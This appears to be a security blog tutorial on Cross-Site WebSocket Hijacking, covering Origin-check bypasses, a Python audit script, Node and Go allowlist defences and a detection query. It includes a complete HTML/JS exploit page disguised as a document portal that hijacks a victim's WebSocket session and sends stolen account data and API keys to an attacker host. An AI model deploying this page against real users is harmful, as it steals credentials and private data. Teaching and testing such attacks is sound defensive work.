
Master Cross-Site WebSocket Hijacking (CSWSH) in 2026. Explore HTTP/1.1 upgrade mechanics, Origin header bypasses, token leakage via query params, weaponized HTML/JS exploit PoCs, Python audi
What breaks on an OAuth or OIDC login: redirect matching, PKCE, state, and the Host header. What I check, and what I turn on. No exploit lab.
12 min read
Hands-on masterclass on auditing and exploiting GraphQL API vulnerabilities (introspection bypasses, alias rate-limit bypasses, BOLA, depth DoS) with full runnable Node.js lab code and TypeSc
Author: Syed Zada Abrar | Lead Researcher, Andrax Pentester & Founder, SentinelReign
Category: Web & API Security / Offensive Engineering
Skill Level: Advanced
Unlike traditional HTTP REST endpoints governed by the browser's Same-Origin Policy (SOP), the WebSocket protocol (RFC 6455) was explicitly designed to enable bi-directional, full-duplex communication across domain boundaries. While standard cross-origin HTTP requests (e.g., fetch or XMLHttpRequest) are restricted by CORS (Cross-Origin Resource Sharing) policies, WebSockets bypass standard CORS enforcement entirely.
When a browser initiates a WebSocket connection, it starts with a standard HTTP/1.1 or HTTP/2 GET request containing an Upgrade: websocket header. If the victim is authenticated via ambient credentials (such as Cookie session headers or HTTP Basic/NTLM auth), the browser automatically attaches these credentials to the initial handshake—even if the request originates from an untrusted third-party website (https://attacker.com).
If the server fails to rigorously validate the Origin header or enforce CSRF tokens during the handshake, an attacker can hijack the full-duplex channel. This attack vector is known as Cross-Site WebSocket Hijacking (CSWSH).
+-----------------------------------------------------------------------------------+
| ATTACK VECTOR ARCHITECTURE |
+-----------------------------------------------------------------------------------+
[ Victim Browser ] --(1) Visits https://attacker.com/malicious.html --------------> [ Attacker Server ]
| |
|--(2) JS initiates: new WebSocket("wss://target.com/ws") |
| Auto-attaches Cookie: session=JWT_TOKEN |
| |
v v
[ Target API Server ] <--(3) Bi-directional hijacked WS tunnel active ------------ [ Attacker C2 Server ]
(Attacker sends commands, reads live response frames)
To audit WebSockets effectively, you must understand the exact HTTP upgrade frame sequence.
GET /api/v1/live-feed HTTP/1.1
Host: api.target-system.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Language: en-US,en;q=0.9
Cookie: session_id=e9a18f4c-22b0-4f9a-9e12-89201fba4101
Origin: https://attacker.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade
Upgrade: websocket
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Set-Cookie: session_id=e9a18f4c-22b0-4f9a-9e12-89201fba4101; Path=/; Secure; HttpOnly
Access-Control-Allow-Origin) are ignored by the browser for WebSocket connections.SameSite=Lax, top-level GET requests initiated by cross-site script triggers (like new WebSocket()) in older or non-standard engine implementations can still transmit cookies, or if session handling relies on sub-domain cookie scope.Origin Header CheckingMany real-world single-page applications (SPAs) and internal developer microservices (e.g., local AI model runners, debugging dashboards like Mailpit, or internal management portals) verify authentication tokens but omit Origin checking entirely. Any website can open a socket directly to ws://localhost:8080/ws or wss://app.enterprise.com/stream.
Developers frequently attempt custom Origin validation using weak regular expressions or string matching helpers:
| Flawed Validation Logic | Bypass Origin Header | Exploit Mechanism |
|---|---|---|
origin.indexOf("target.com") !== -1 | https://target.com.attacker.com | Prefix match / Subdomain spoofing |
origin.endsWith("target.com") | https://attacker-target.com | Hostname suffix registration |
origin.startsWith("https://target.com") | https://target.com.attacker.com | Trailing slash omission bypass |
if (!origin) allow() | Origin: null | Sandboxed iframe (<iframe sandbox="allow-scripts">) |
When developers notice cookies are blocked by SameSite=Strict, they often pass sensitive JWT tokens directly in the WebSocket URL query string:
wss://api.target-system.com/ws?auth_token=eyJhbGciOiJIUzI1Ni...
Risks:
Referer headers when clicking external links.window.location).Below is a production-grade, self-contained HTML/JS exploit payload. When a logged-in user visits this page on https://attacker.com, it stealthily opens a cross-origin WebSocket connection to wss://target-system.com/api/v1/live-feed, dumps sensitive profile/session frames, and exfiltrates them to an attacker-controlled endpoint.
cswsh_exploit.html<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Secured Document Portal - Verification Required</title>
<style>
body { font-family: sans-serif; background: #0f172a; color: #f8fafc; padding: 2rem; }
.card { max-width: 600px; margin: 0 auto; background: #1e293b; padding: 2rem; border-radius: 8px; box-shadow: 0 4px 6px rgba(0,0,0,0.3); }
.status { font-weight: bold; color: #38bdf8; }
</style>
</head>
<body>
<div class="card">
<h2>Document Portal Loading...</h2>
<p>Please wait while we verify your secure environment settings.</p>
<p class="status" id="status-text">Initializing session verification...</p>
</div>
<script>
const TARGET_WS_URL = "wss://target-system.com/api/v1/live-feed";
const EXFIL_ENDPOINT = "https://attacker-c2.com/log";
function logStatus(msg) {
document.getElementById("status-text").innerText = msg;
console.log("[CSWSH Exploit Log]", msg);
}
// Establish Cross-Origin WebSocket Connection
const ws = new WebSocket(TARGET_WS_URL);
ws.onopen = function() {
logStatus("WebSocket connection established cross-origin!");
// Trigger sensitive data dump frame
const payload = JSON.stringify({
action: "FETCH_ACCOUNT_DETAILS",
include_api_keys: true,
requestId: Date.now()
});
ws.send(payload);
};
ws.onmessage = function(event) {
console.log("[+] Received Hijacked WS Frame:", event.data);
// Exfiltrate stolen frame data back to Attacker C2
fetch(EXFIL_ENDPOINT, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
victim_origin: window.location.href,
stolen_data: event.data,
timestamp: new Date().toISOString()
})
}).catch(err => console.error("Exfil failed:", err));
logStatus("Verification complete. Redirecting...");
setTimeout(() => {
window.location.href = "https://target-system.com/dashboard";
}, 1500);
};
ws.onerror = function(err) {
logStatus("Connection error encountered.");
console.error("WS Error:", err);
};
</script>
</body>
</html>
websockets ScannerUse this Python automated testing harness (cswsh_auditor.py) to systematically verify whether a given WebSocket endpoint enforces strict Origin headers.
#!/usr/bin/env python3
"""
CSWSH Security Auditor v1.0
Author: Syed Zada Abrar / Andrax Pentester
Description: Automated CLI tool to audit WebSocket endpoints for Cross-Site WebSocket Hijacking.
"""
import asyncio
import sys
import argparse
import json
import websockets
from typing import Dict, Any
async def audit_origin(target_url: str, test_origin: str, custom_headers: Dict[str, str]) -> Dict[str, Any]:
"""Tests a single Origin header against the target WebSocket endpoint."""
headers = {
"Origin": test_origin,
"User-Agent": "Andrax-Pentester-CSWSH-Auditor/1.0"
}
headers.update(custom_headers)
try:
async with websockets.connect(target_url, extra_headers=headers, open_timeout=5) as ws:
# Send probe frame
probe = json.dumps({"action": "PING", "audit": "cswsh_check"})
await ws.send(probe)
try:
response = await asyncio.wait_for(ws.recv(), timeout=3.0)
return {
"origin": test_origin,
"status": "VULNERABLE",
"reason": "Connection accepted and frame exchange succeeded",
"sample_response": str(response)[:100]
}
except asyncio.TimeoutError:
return {
"origin": test_origin,
"status": "POTENTIALLY VULNERABLE",
"reason": "Connection accepted but no immediate response received"
}
except websockets.exceptions.InvalidStatusCode as e:
return {
"origin": test_origin,
"status": "SECURE",
"reason": f"Server rejected handshake with HTTP Status Code {e.status_code}"
}
except Exception as e:
return {
"origin": test_origin,
"status": "ERROR / REJECTED",
"reason": str(e)
}
async def run_audit(target_url: str, target_domain: str, cookie_header: str):
custom_headers = {}
if cookie_header:
custom_headers["Cookie"] = cookie_header
print(f"[*] Starting CSWSH Audit for: {target_url}")
print(f"[*] Base Target Domain: {target_domain}\n" + "-"*60)
test_origins = [
f"https://attacker-evil-domain.com",
f"https://{target_domain}.attacker.com",
f"https://attacker{target_domain}",
f"http://{target_domain}",
"null"
]
for origin in test_origins:
result = await audit_origin(target_url, origin, custom_headers)
status_color = "\033[91m" if result["status"] == "VULNERABLE" else "\033[92m"
reset_color = "\033[0m"
print(f"Origin Tested : {origin}")
print(f"Status : {status_color}{result['status']}{reset_color}")
print(f"Details : {result['reason']}")
if "sample_response" in result:
print(f"Frame Sample : {result['sample_response']}")
print("-" * 60)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CSWSH Security Auditor")
parser.add_argument("--url", required=True, help="Target WebSocket URL (wss://...)")
parser.add_argument("--domain", required=True, help="Target legitimate domain (e.g. target.com)")
parser.add_argument("--cookie", help="Session Cookie header to include in handshake", default="")
args = parser.parse_args()
asyncio.run(run_audit(args.url, args.domain, args.cookie))
To render an application completely immune to CSWSH, implement multi-layered defense controls at both the handshake level and session architecture.
Never rely on partial regex matches or permissive fallbacks. Match against an explicit whitelist of allowed origins.
ws library) Implementation:const WebSocket = require('ws');
const http = require('http');
const urllib = require('url');
const ALLOWED_ORIGINS = new Set([
'https://target-system.com',
'https://app.target-system.com'
]);
const server = http.createServer();
const wss = new WebSocket.Server({ noServer: true });
server.on('upgrade', (request, socket, head) => {
const origin = request.headers.origin;
// Strict Origin Whitelist Verification
if (!origin || !ALLOWED_ORIGINS.has(origin)) {
console.warn(`[SECURITY ALERT] Rejected unauthorized WS Handshake Origin: ${origin}`);
socket.write('HTTP/1.1 403 Forbidden\r\n\r\n');
socket.destroy();
return;
}
// Verify Session Authentication / Handshake Token
wss.handleUpgrade(request, socket, head, (ws) => {
wss.emit('connection', ws, request);
});
});
server.listen(8080, () => {
console.log('[+] Secure WebSocket Server running on port 8080');
});
gorilla/websocket) Implementation:package main
import (
"log"
"net/http"
"github.com/gorilla/websocket"
)
var allowedOrigins = map[string]bool{
"https://target-system.com": true,
"https://app.target-system.com": true,
}
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
origin := r.Header.Get("Origin")
if allowedOrigins[origin] {
return true
}
log.Printf("[SECURITY BLOCKED] Unauthorized WS Handshake Origin: %s", origin)
return false
},
}
func handleWebSocket(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Println("Upgrade failed:", err)
return
}
defer conn.Close()
// Process frames securely...
}
func main() {
http.HandleFunc("/ws", handleWebSocket)
log.Fatal(http.ListenAndServe(":8080", nil))
}
For maximum resilience, do not rely on cookies alone for handshake authentication. Require an unpredictable, short-lived anti-CSRF token generated server-side during initial page load:
csrf_ws_token.csrf_ws_token and passes it via the Sec-WebSocket-Protocol header:
const token = getCsrfToken();
const ws = new WebSocket("wss://api.target-system.com/ws", ["auth-token", token]);
token prior to completing the HTTP upgrade. Because custom headers cannot be set by cross-origin standard HTML elements, cross-site sites cannot forge this header without explicit XSS access.Detects instances where WebSocket connections are accepted from external or unapproved origins.
AppRequests
| where Url contains "/ws" or Url contains "/socket.io" or ResponseCode == 101
| extend RequestOrigin = tostring(Headers["Origin"])
| where isnotempty(RequestOrigin)
| where RequestOrigin !endswith "target-system.com"
| summarize Count = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by RequestOrigin, ClientIP, UserAgent
| project FirstSeen, LastSeen, RequestOrigin, ClientIP, UserAgent, Count
| order by Count desc
Origin header during the HTTP/1.1 upgrade request against a hardcoded set of trusted origins.127.0.0.1 reject cross-site origins to prevent local endpoint exploitation.Share this tutorial
25 min read
A definitive, hands-on 2026 security audit guide for GraphQL APIs: covering schema discovery, introspection analysis, authorization auditing (BOLA/BFLA), query complexity DoS prevention, and
25 min read
Sign in to leave a comment.